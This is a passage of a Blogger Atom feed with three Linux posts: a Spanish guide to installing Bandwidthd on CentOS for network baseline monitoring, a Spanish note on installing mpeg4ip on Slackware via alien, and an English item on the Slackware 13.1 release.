banda, ya he podido reconfigurar los equipos pero aún me falta establecer la &lt;b&gt;línea de base&lt;/b&gt; &lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;(baseline). Definiendo como línea de base, al conjunto de características que reunimos sobre la red y que nos proveen una perspectiva de su "personalidad", es decir, así sabremos cómo se aprovechan los recursos de red y en qué tiempos son mayormente demandados.&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;A recomendación de mi último instructor de Cisco, los puntos fuertes que se requieren monitorear para obtener la información son:&lt;/span&gt;&lt;/div&gt;&lt;ul style="color: black;"&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Latencia de Ping.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Carga de Memoria.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Carga del CPU&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Cantidad de tráfico que atravieza por la interface (FastEthernet, Serial, GigabitEthernet, etc)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&amp;nbsp;Monitoreo por protocolo (TCP/UDP).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Una vez que se tiene el monitoreo por protocolo y que se ha descubierto el que genera mayor tráfico, entonces procedemos a monitorear por puertos (es obvio que hay algunos puertos que son mayormente usados para tráfico TCP y otros para tráfico UDP).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&amp;nbsp;Yo por lo pronto lo implementé sobre Centreon, un front-end web que utiliza como back-end Nagios, pero adicionalmente incorpora algunas herramientas como RRDtool y scripts. En mi caso utilicé Centreon para que trabaje en base a SNMP (&lt;i&gt;Simple Network Management Protocol&lt;/i&gt;) y el uso de OID's, pero se puede hacer de muchas maneras; pero existe un pequeño problema con Centreon, el monitoreo de tráfico TCP/UDP lo hace por puerto, y primeramente requiero tener un panorama general del tráfico que atravieza la red, para ello me auxiliaré de la herramienta llamada &lt;b&gt;&lt;i&gt;Bandwidthd&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;, descargable desde &lt;a href="http://sourceforge.net/projects/bandwidthd/"&gt;aquí&lt;/a&gt;&lt;/span&gt;.&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Procediendo a la configuración, mencionaré que lo voy a hacer sobre CentOS release 5.4 (Final).&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol style="color: black;"&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Resolver todas las dependencias para compilar desde los archivos fuentes:&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul style="color: black;"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;gcc (&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;yum install gcc&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;, solicitará confirmación para descargar las dependencias, así que contestamos: yes)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;libpng-devel (&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;yum install libpng-devel&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;solicitará confirmación para descargar las dependencias, así que contestamos: yes)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;gd-devel &amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;(&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;yum install gd-devel&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;solicitará confirmación para descargar las dependencias, así que contestamos: yes)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;libpcap-devel &amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;(&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;yum install libpcap-devel&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;solicitará confirmación para descargar las dependencias, así que contestamos: yes)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;make&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol style="color: black;"&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Descargamos el programa &lt;a href="http://sourceforge.net/projects/bandwidthd/"&gt;Bandwidht&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Lo copiamos a la carpeta &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;/usr/src&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;, sólo por buenas prácticas y por mantener el control de programas instalados en linux a partir de los fuentes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Descomprimimos el archivo con: &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;tar xvzf bandwidthd-2.0.1.tgz&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Ingresamos a la carpeta&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;bandwidthd-2.0.1&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Ejecutamos &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;./configure&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Si todo ha ido bien en el paso anterior, entonces no debería mostrar errores, ejecutamos &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;make &amp;amp;&amp;amp; make install&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Con la ejecución anterior, ya tenemos instalado bandwidthd en nuestro linux. En mi caso, la instalación de los binarios quedó bajo el directorio &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;/usr/local/bandwidthd&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt; y los archivos web están en&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;/usr/local/bandwidthd/htdocs.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Yo ya tengo&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt; corriendo el servicio de apache, y el directorio de los archivos web es&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt; /var/www/html&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt; con lo cual solo debo de hacer un enlace simbolico para poder acceder desde mi navegador. El enlace lo hice con ejecutar la instruccion &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;ln -s /usr/local/bandwidhtd/htdocs&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;/var/www/html/bandwidht.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Ahora ya podemos ir al navegador e introducir &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;http://localhost/bandwidhtd&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt; para poder visualizar las gráficas.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;b&gt;NOTA:&lt;/b&gt; Ahora sólo faltará hacer unos ajustes a las configuraciones del archivo &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;bandwidht.conf&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt; el cual en mi caso está localizado en la ruta &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,&amp;quot;Courier&amp;quot;,monospace;"&gt;/usr/local/bandwidhtd/etc/bandwidht.conf&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;En lo personal creo que Centreon puede ser usado a la par con bandwidhtd ya que la información que ésta provee es de manera genérica sobre el tráfico, asimismo nos proporciona una vista muy general sobre la red.&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;b style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;NOTA:&lt;/span&gt;&lt;/b&gt;&lt;span style="color: black; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt; Para quienes leyeron que sé usar Centreon y requieren documentación, déjenme decirles que la información &lt;/span&gt;&lt;b style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;SÓLO ESTÁ EN FRANCÉS,&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="color: white;"&gt;&lt;span style="color: black;"&gt; más tarde la publicaré porque debo traducir todo el manual al español y eso va a llevar tiempo. Como consejo les puedo decir que user el traductor de google para hacer búsquedas en francés, así como para traducir las páginas, yo ya lo probé y es bastante bueno, aunque no es perfecto (ojo, también pue&lt;/span&gt;do leer en francés).&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-846136556702586220?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/846136556702586220/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/monitoreo-de-redes-con-bandwidthd-sobre.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/846136556702586220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/846136556702586220'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/monitoreo-de-redes-con-bandwidthd-sobre.html' title='Monitoreo de redes con bandwidthd sobre CentOS'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-639607358601867343</id><published>2010-07-21T10:08:00.000-07:00</published><updated>2010-07-21T10:08:55.471-07:00</updated><title type='text'>mpeg4ip en slackware</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://mpeg4ip.sourceforge.net/images/mpeg4ip-v.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://mpeg4ip.sourceforge.net/images/mpeg4ip-v.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Ahora bien, después de tanto pelearme para querer compilar el paquete mpeg4ip en slackware y no haberlo logrado por algún fallo de dependencias aunado a la falta de experiencia mía así como la falta de información en internet, pues opté por "alienizar" los paquetes de otra distro, y obteniendo muy buenos resultados.&lt;span style="color: #3333ff;"&gt;&lt;br /&gt;&lt;/span&gt;La lista de paquetes la descargué de ubuntu, creo que es quien los tiene disponibles únicamente en binarios, dichos paquetes son:&lt;/span&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;libavcodec52-0.5&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;libavutil49-0.5&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;libmp3lame0-3.98.2&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;libmpeg4ip-0-1.6&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;libx264-67-0&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #3333ff;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;mpeg4ip-server-1.6&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Una vez obtenidos, todos ellos tienen una extensión .deb, así pues, ingresamos al directorio donde los descargamos y usamos los comandos:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;alien -t *.deb&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;installpkg *.tgz&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Listo, ya tenemos instalado mpeg4ip, listo para funcionar, sólo bastará con invocar &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;mpeg4live&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; en una consola para tenerlo corriendo.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Nota: No pongo los enlaces de los archivos ya que los descargué con la utilería apt-get de ubuntu y no tengo a la mano los repositorios de donde los descargó, por favor buscar repositorios de ubuntu.&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-639607358601867343?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/639607358601867343/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/mpeg4ip-en-slackware.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/639607358601867343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/639607358601867343'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/mpeg4ip-en-slackware.html' title='mpeg4ip en slackware'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2120572295258810020</id><published>2010-06-17T12:12:00.000-07:00</published><updated>2010-06-17T12:13:20.368-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='13.1'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='txz'/><title type='text'>Slackware 13.1 Released</title><content type='html'>&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Well, well, it seems that I'm a little out of date,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; I said this because I thought that I was caring of the new Slackware Release, that already it's 13.1, and it's been since May 19th 2010.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;A few improvements are as follows:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Runs the 2.6.33.4 version of the Linux kernel.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;New packing format (since Slackware 13.0) is .txz, that brings a bettet file compression.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;gcc-4.4.4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Support for fully encrypted network connections with OpenSSL,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &amp;nbsp; OpenSSH, OpenVPN, and GnuPG.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, 